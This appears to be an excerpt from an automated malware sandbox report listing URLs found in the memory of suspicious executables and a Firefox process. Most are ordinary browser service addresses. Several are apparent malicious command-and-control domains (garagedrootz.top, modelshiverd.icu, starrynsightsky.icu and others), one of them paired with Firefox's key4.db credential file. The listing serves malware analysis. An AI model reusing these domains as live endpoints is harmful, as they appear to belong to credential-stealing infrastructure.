Source: 4bcefcec83.exe, 00000016.00000003.3665932477.00000000011A7000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3667202728.00000000011AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://garagedrootz.top/oPsoJANs
Source: 4bcefcec83.exe, 00000016.00000003.3568132046.00000000011A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://garagedrootz.top/oPsoJANykoK
Source: 4bcefcec83.exe, 00000016.00000003.3635245723.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3631488432.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3665932477.00000000011A7000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3636627517.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3596397104.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3568132046.00000000011A7000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000002.3975251616.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3667202728.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3601514692.00000000011AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://garagedrootz.top/p
Source: 4bcefcec83.exe, 00000016.00000003.3635245723.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3631488432.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3665932477.00000000011A7000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3636627517.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3147512947.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2255511672.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3667202728.00000000011AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://garagedrootz.top:443/oPsoJAN
Source: 4bcefcec83.exe, 00000016.00000003.3568132046.00000000011A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://garagedrootz.top:443/oPsoJANGoogle
Source: 4bcefcec83.exe, 00000016.00000003.3665932477.00000000011A7000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000002.3975251616.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3667202728.00000000011AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://garagedrootz.top:443/oPsoJANault-release/key4.dbPK
Source: firefox.exe, 00000024.00000002.1741535515.0000014869450000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1796327904.0000014871C1C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000024.00000002.1741535515.0000014869450000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000024.00000002.1741535515.0000014869450000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.1741535515.0000014869450000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.1741535515.0000014869450000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.1741535515.0000014869450000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.1741535515.0000014869450000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.1741535515.0000014869450000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.1741535515.0000014869450000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000024.00000002.1796327904.0000014871C1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 00000024.00000002.1741535515.0000014869450000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000024.00000002.1796327904.0000014871C1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 00000024.00000002.1796327904.0000014871C1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 00000024.00000002.1796327904.0000014871C1C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 00000024.00000002.1801127547.0000014872084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 00000024.00000002.1801127547.0000014872084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 00000024.00000003.1596846145.0000014869722000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.1596237310.0000014869500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.1597248347.0000014869763000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1740195494.0000014869070000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000024.00000002.1796327904.0000014871C1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 00000024.00000002.1739397063.0000014867F64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 00000024.00000002.1722815184.0000014859A11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881Somehow
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000024.00000002.1741535515.0000014869450000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000024.00000002.1796327904.0000014871C1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 00000024.00000003.1673807507.0000014873164000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1803915637.000001487315D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 00000024.00000002.1755936901.000001486A726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema.
Source: firefox.exe, 00000024.00000002.1755936901.000001486A726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema./
Source: firefox.exe, 00000024.00000002.1755936901.000001486A726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/
Source: firefox.exe, 00000024.00000002.1755936901.000001486A726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/=
Source: firefox.exe, 00000024.00000002.1726196978.000001486537B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 00000024.00000002.1746377532.0000014869DA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000024.00000002.1785528103.000001486CC7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1811370505.000030999BC6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000024.00000002.1785528103.000001486CC7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 00000024.00000003.1600126049.0000014869333000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1734090885.0000014866B1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000024.00000003.1600126049.0000014869333000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1727135073.000001486587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000024.00000003.1600126049.0000014869333000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1727135073.000001486587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 00000024.00000003.1708540621.000001486AE33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mochitest.youtube.com/
Source: 5a20da7e37.exe, 0000000F.00000002.2457287928.000000000361A000.00000004.00000800.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2106695421.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://modelshiverd.icu/
Source: 5a20da7e37.exe, 0000000F.00000002.2455793813.0000000001224000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://modelshiverd.icu/bJhnsjd
Source: 5a20da7e37.exe, 0000000F.00000002.2454835391.0000000001163000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://modelshiverd.icu:443/bJhnsj
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.comaccount-connection-disconnectedhttps://support.mozilla.orgbrowser.tabs.dr
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla-hub.atlassian.net/browse/SDK-405
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla-hub.atlassian.net/browse/SDK-405WHERE
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 00000024.00000002.1812066256.0000368D34C04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 00000024.00000003.1600126049.0000014869333000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 00000024.00000003.1708540621.000001486AE33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/page/
Source: firefox.exe, 00000024.00000003.1708540621.000001486AE33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/player/
Source: firefox.exe, 00000024.00000003.1600126049.0000014869333000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1727135073.000001486587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000024.00000003.1600126049.0000014869333000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s4
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000024.00000002.1739397063.0000014867F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: 7f41c1bc85.exe, 00000006.00000003.1315406322.0000000000C93000.00000004.00000020.00020000.00000000.sdmp, 7f41c1bc85.exe, 00000006.00000002.1340640569.0000000000C93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://quietswtreams.life/
Source: 7f41c1bc85.exe, 00000006.00000003.1315406322.0000000000C93000.00000004.00000020.00020000.00000000.sdmp, 7f41c1bc85.exe, 00000006.00000002.1340640569.0000000000C93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://quietswtreams.life:443/api
Source: firefox.exe, 00000024.00000002.1796327904.0000014871C1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2&
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 00000024.00000002.1755936901.000001486A762000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 00000024.00000002.1741535515.0000014869416000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000024.00000002.1740195494.0000014869070000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000024.00000002.1739397063.0000014867FBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.comP
Source: firefox.exe, 00000024.00000003.1700015526.000001486A936000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152
Source: 7f41c1bc85.exe, 00000006.00000003.1315148169.0000000000C78000.00000004.00000020.00020000.00000000.sdmp, 7f41c1bc85.exe, 00000006.00000002.1339717081.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://seizedsentec.online/:
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000024.00000002.1760995225.000001486AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 00000024.00000002.1799120110.0000014871E33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000024.00000002.1803915637.0000014873103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000024.00000002.1741535515.0000014869450000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1796327904.0000014871C1C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: 7f41c1bc85.exe, 00000006.00000003.1315148169.0000000000C78000.00000004.00000020.00020000.00000000.sdmp, 7f41c1bc85.exe, 00000006.00000002.1339717081.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://starrynsightsky.icu/
Source: 7f41c1bc85.exe, 00000006.00000003.1315148169.0000000000C78000.00000004.00000020.00020000.00000000.sdmp, 7f41c1bc85.exe, 00000006.00000002.1339717081.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://starrynsightsky.icu/P
Source: 7f41c1bc85.exe, 00000006.00000003.1315148169.0000000000C78000.00000004.00000020.00020000.00000000.sdmp, 7f41c1bc85.exe, 00000006.00000002.1339717081.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://starrynsightsky.icu/api
Source: 7f41c1bc85.exe, 00000006.00000003.1315406322.0000000000C93000.00000004.00000020.00020000.00000000.sdmp, 7f41c1bc85.exe, 00000006.00000002.1340640569.0000000000C93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://starrynsightsky.icu:443/api~r9
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1770706460.000001486B2C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
